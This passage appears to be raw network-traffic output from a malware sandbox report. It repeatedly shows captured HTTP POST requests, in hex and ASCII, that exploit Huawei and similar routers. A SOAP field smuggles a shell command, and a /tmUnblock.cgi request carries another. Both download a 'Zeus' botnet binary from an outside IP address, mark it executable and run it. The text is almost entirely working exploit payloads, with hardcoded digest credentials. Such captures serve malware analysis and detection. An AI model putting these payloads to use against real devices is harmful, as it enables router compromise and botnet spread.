3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 